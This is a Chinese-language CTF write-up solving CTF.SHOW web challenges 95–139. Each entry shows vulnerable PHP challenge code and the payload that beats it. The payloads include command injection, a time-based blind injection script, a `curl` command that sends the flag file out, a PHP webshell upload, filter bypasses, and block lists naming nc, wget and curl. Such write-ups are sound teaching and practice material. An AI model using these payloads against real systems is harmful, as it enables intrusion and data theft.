CTF.SHOW

CTF.SHOW

此文章记录CTFSHOW的WEB入门系列,由于前面较为简单,所以采用倒叙模式,后面还是有很多小trick的

WEB 139

cut命令盲注

import requests
import time


str = "1234567890-flagbcdefh{}"
flag = "flag{"
for i in range(6,60):
    for j in str:
        burp0_url = "http://8a9c4b42-c259-4e1b-b637-456b559ed22c.chall.ctf.show/?c="
        burp0_data = "if [ `cut -c %s /f149_15_h3r3` = \"%s\" ];then sleep 2;fi"%(i,j)
        #print(burp0_data)
        start=time.time()
        res = requests.get(burp0_url+burp0_data)
        #print(res.text)
        if int(time.time())-int(start) >1:
            flag += j
            print(flag)

WEB 137-138

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-13 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-16 22:27:49

*/

error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{
    function __wakeup(){
        die("private class");
    }
    static function getFlag(){
        echo file_get_contents("flag.php");
    }
}



call_user_func($_POST['ctfshow']);

image-20201017011533686

call_user_func可以用数组调用内部类

所以

POST : ctfshow[]=ctfshow&ctfshow[]=ctfshow::getFlag

 

不懂看看这个:https://blog.csdn.net/u014532717/article/details/56015077

WEB 136

<?php
error_reporting(0);
function check($x){
    if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
        die('too young too simple sometimes naive!');
    }
}
if(isset($_GET['c'])){
    $c=$_GET['c'];
    check($c);
    exec($c);
}
else{
    highlight_file(__FILE__);
}
?>

payload:

GET : ?c=ls / |tee xxx 

访问xxx即可

WEB 135

payload:

GET : ?F=`$F `;mv flag.php 1.txt 

改名就行

WEB 134

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date:   2020-10-13 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-14 23:01:06

*/

highlight_file(__FILE__);
$key1 = 0;
$key2 = 0;
if(isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) || isset($_POST['key2'])) {
    die("nonononono");
}
@parse_str($_SERVER['QUERY_STRING']);
extract($_POST);
if($key1 == '36d' && $key2 == '36d') {
    die(file_get_contents('flag.php'));
}

extract 变量覆盖

GET : ?_POST[key1]=36d&_POST[key2]=36d

WEB 133

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date:   2020-10-13 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-13 16:43:44

*/

error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
    if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){
        eval(substr($F,0,6));
    }else{
        die("6个字母都还不够呀?!");
    }
}

传入起本身让其执行命令即可

GET : ?F=`$F`;curl ip -data `cat /flag |grep flag`

 

WEB 132

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-13 06:22:13
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-13 20:05:36
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

#error_reporting(0);
include("flag.php");
highlight_file(__FILE__);


if(isset($_GET['username']) && isset($_GET['password']) && isset($_GET['code'])){
    $username = (String)$_GET['username'];
    $password = (String)$_GET['password'];
    $code = (String)$_GET['code'];

    if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){
        
        if($code == 'admin'){
            echo $flag;
        }
        
    }
}

payload

GET: ?username=admin&password=1&code=admin

WEB 131

好像和下面一样,我忘了

WEB 130

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-13 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-13 05:19:40

*/


error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
    $f = $_POST['f'];

    if(preg_match('/.+?ctfshow/is', $f)){
        die('bye!');
    }
    if(stripos($f, 'ctfshow') === FALSE){
        die('bye!!');
    }

    echo $flag;

}

preg_match 会在99999个字符时候溢出。所以多传点无用字符即可

payload

f=php://filter/read=convert.base64-encode/resource=/a*999999/ctfshow/../var/www/html/flag.php

WEB 129

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-13 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-13 03:18:40

*/


error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['f'])){
    $f = $_GET['f'];
    if(stripos($f, 'ctfshow')>0){
        echo readfile($f);
    }
}

payload

f=php://filter/read=convert.base64-encode/resource=/ctfshow/../var/www/html/flag.php

WEB 128

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-10 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-12 19:49:05

*/


error_reporting(0);
include("flag.php");
highlight_file(__FILE__);

$f1 = $_GET['f1'];
$f2 = $_GET['f2'];

if(check($f1)){
    var_dump(call_user_func(call_user_func($f1,$f2)));
}else{
    echo "嗯哼?";
}



function check($str){
    return !preg_match('/[0-9]|[a-z]/i', $str);
} NULL

_()=GETTEXT

GET : ?f1=_&f2=phpinfo

WEB 127

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-10 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-10 21:52:49

*/


error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
$ctf_show = md5($flag);
$url = $_SERVER['QUERY_STRING'];


//特殊字符检测
function waf($url){
    if(preg_match('/\`|\~|\!|\@|\#|\^|\*|\(|\)|\\$|\_|\-|\+|\{|\;|\:|\[|\]|\}|\'|\"|\<|\,|\>|\.|\\\|\//', $url)){
        return true;
    }else{
        return false;
    }
}

if(waf($url)){
    die("嗯哼?");
}else{
    extract($_GET);
}


if($ctf_show==='ilove36d'){
    echo $flag;
}

URL编码就行

GET: ?%63%74%66%5F%73%68%6F%77=ilove36d

WEB 123 – 126

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){
         eval("$c".";");  
         if($fl0g==="flag_give_me"){
             echo $flag;
         }
    }
}

这个到126 全是非预期一把梭

非预期1
    GET:  ?$fl0g=flag_give_me
    POST: CTF_SHOW=1&CTF[SHOW.COM=1&fun=assert($a[0])
非预期2
    GET: 
    POST: CTF_SHOW=1&CTF[SHOW.COM=1&fun=echo $flag
非预期3
    GET:  ?1=flag.php
    POST: CTF_SHOW=1&CTF[SHOW.COM=1&fun=highlight_file($_GET[1]) //show_source都行                           

预期长这样:

变量覆盖

GET:  ?abc=123+fl0g=flag_give_me
POST: CTF.SHOW=fl0g&CTF[SHOW.COM=1&fun=parse_str($a[1])

 

 

WEB 115

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-01 15:08:19

*/

include('flag.php');
highlight_file(__FILE__);
error_reporting(0);
function filter($num){
    $num=str_replace("0x","1",$num);
    $num=str_replace("0","1",$num);
    $num=str_replace(".","1",$num);
    $num=str_replace("e","1",$num);
    $num=str_replace("+","1",$num);
    return $num;
}
$num=$_GET['num'];
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){
    if($num=='36'){
        echo $flag;
    }else{
        echo "hacker!!";
    }
}else{
    echo "hacker!!!";
} hacker!!!

看起来很花里胡哨的,又是函数又是判断的,其实就是一个考点,绕过trim

看看is_numeric的源码 img 在is_numeric开始判断之前,首先要跳过所有的空白字符

看看trim的源码 img 过滤的空白字符少了一个\f,用%0c过

GET: ?num=%0c36

WEB 112 – 114

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-01 15:02:53

*/

error_reporting(0);
highlight_file(__FILE__);
function filter($file){
    if(preg_match('/compress|root|zip|convert|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
        die('hacker!');
    }else{
        return $file;
    }
}
$file=$_GET['file'];
echo "师傅们居然tql都是非预期 哼!";
if(! is_file($file)){
    highlight_file(filter($file));
}else{
    echo "hacker!";
}

基本过滤了所有伪协议还有root/proc的trick,但是尝试过发现

php://filter/resource=flag.php

可以用

WEB 113

WMCTF2020 Check in 2 原题

?file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self//root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/cwd/flag.php

WEB 112

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-30 23:47:49

*/

highlight_file(__FILE__);
error_reporting(0);
function filter($file){
    if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){
        die("hacker!");
    }else{
        return $file;
    }
}
$file=$_GET['file'];
if(! is_file($file)){
    highlight_file(filter($file));
}else{
    echo "hacker!";
}

payload:

?file=php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php

WEB 111

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-30 02:41:40

*/

highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

function getFlag(&$v1,&$v2){
    eval("$$v1 = &$$v2;");
    var_dump($$v1);
}


if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){
            die("error v1");
    }
    if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){
            die("error v2");
    }
    
    if(preg_match('/ctfshow/', $v1)){
            getFlag($v1,$v2);
    }
}

?>

满足v1=ctfshow

v2传入GLOBALS

WEB 110

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-29 22:49:10

*/


highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){
            die("error v1");
    }
    if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){
            die("error v2");
    }

    eval("echo new $v1($v2());");

}

?>

使用FilesystemIterator类

image-20201003004440645

传入getcwd()获取当前目录即可

WEB 109

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-29 22:02:34

*/


highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
            eval("echo new $v1($v2());");
    }

}

出题人正则写错了,导致只匹配第一个字符,预期应该是/^[a-zA-Z ]*$/吧可能

所以直接new一个异常带入system就行

?v1=Exception&v2=system(%27ls%27)

WEB 108

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-28 23:53:55

*/


highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE)  {
    die('error');

}
//只有36d的人才能看到flag
if(intval(strrev($_GET['c']))==0x36d){
    echo $flag;
}

?>

image-20200929225430855

看到指纹是5.6 所以%00截断 正则匹配第一个字符

payload

c=a%00778

WEB 107

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-28 23:24:14

*/


highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

if(isset($_POST['v1'])){
    $v1 = $_POST['v1'];
    $v3 = $_GET['v3'];
       parse_str($v1,$v2);
       if($v2['flag']==md5($v3)){
           echo $flag;
       }

}

两个数组就行了

WEB 106

数组

WEB 105

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-28 22:34:07

*/

highlight_file(__FILE__);
include('flag.php');
error_reporting(0);
$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
foreach($_GET as $key => $value){
    if($key==='error'){
        die("what are you doing?!");
    }
    $$key=$$value;
}foreach($_POST as $key => $value){
    if($value==='flag'){
        die("what are you doing?!");
    }
    $$key=$$value;
}
if(!($_POST['flag']==$flag)){
    die($error);
}
echo "your are good".$flag."\n";
die($suces);

变量覆盖,和 [BJDCTF2020]Mark loves cat 考点一样

GET ha1=flag
POST error=ha1

 

WEB 104

数组

WEB 102-103

此为一系列题目,所以一起说

拿到源码:

<?php
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
    $s = substr($v2,2);
    $str = call_user_func($v1,$s);
    echo $str;
    file_put_contents($v3,$str);
}
else{
    die('hacker');
}

代码逻辑很清晰,需要过一个is_numeric的检测,但是可以发现她用了and而不是&&,php运算符优先级可知&&>=>and

写一个示例代码

image-20200924201818869

可以发现在第一项为TRUE的时候 $d 会自动赋值true

所以我们只需要v2满足number而v3自定义即可

然后因为过滤之类的 我们必须满足v2为数字

所以使用hex2bin函数 十六进制转字符,用base64编码写文件

GET:
v2=  5044383949434267593246304943706749434137&v3=php://filter/write=convert.base64-decode/resource=1.php
POST:v1=hex2bin

WEB 103 代码

<?php
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
    $s = substr($v2,2);
    $str = call_user_func($v1,$s);
    echo $str;
    if(!preg_match("/.*p.*h.*p.*/i",$str)){
        file_put_contents($v3,$str);
    }
    else{
        die('Sorry');
    }
}
else{
    die('hacker');
}

也可以用上面的方法绕过,感觉是非预期了

WEB 100-101

<?php
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/\;/", $v2)){
        if(preg_match("/\;/", $v3)){
            eval("$v2('ctfshow')$v3");
        }
    }
    
}

根据上面的知识,只要满足v1是数字即可,还必须包括分号

payload

v1=1&v2=echo&v3=;system('ls');;

WEB 101

<?php
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){
        if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){
            eval("$v2('ctfshow')$v3");
        }
    }
}

这题过滤比较多,基本符号都没有了

根据上一题的经验,ctfshow.php是一个类,且只定义了变量,所以我们需要找一个函数或者其他方式把类名打印出来,

翻来覆去找到了一个类Reflectionclass

image-20200924202920325

所以我们只需要输出这个类即可

payload

v1=1&v2=%20echo%20new%20Reflectionclass&v3=;

参考:https://www.jianshu.com/p/d02cbde1cdd7

WEB 99

<?php
highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) { 
    array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
    file_put_contents($_GET['n'], $_POST['content']);
}

in_array弱类型

image-20200924204903868

payload

GET ?n=36.php
POST content=<?php system('cat *');?>

WEB 98

<?php

include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
?>

考点就是变量覆盖、三元运算符、&在php中的引用作用

如果存在GET请求则引用POST请求的内容

所以payload是

GET ?xxx
POST HTTP_FLAG=flag

WEB 97

MD5 弱类型 不说了

WEB 96

./flag.php 没啥说的

WEB 95

<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]|\./i", $num)){
        die("no no no!!");
    }
    if(!strpos($num, "0")){
        die("no no no!!!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
}

Num = 4476 还不能等于,不能用十六进制,查了下可以用8进制,010574但是开头是0,用+绕过就行

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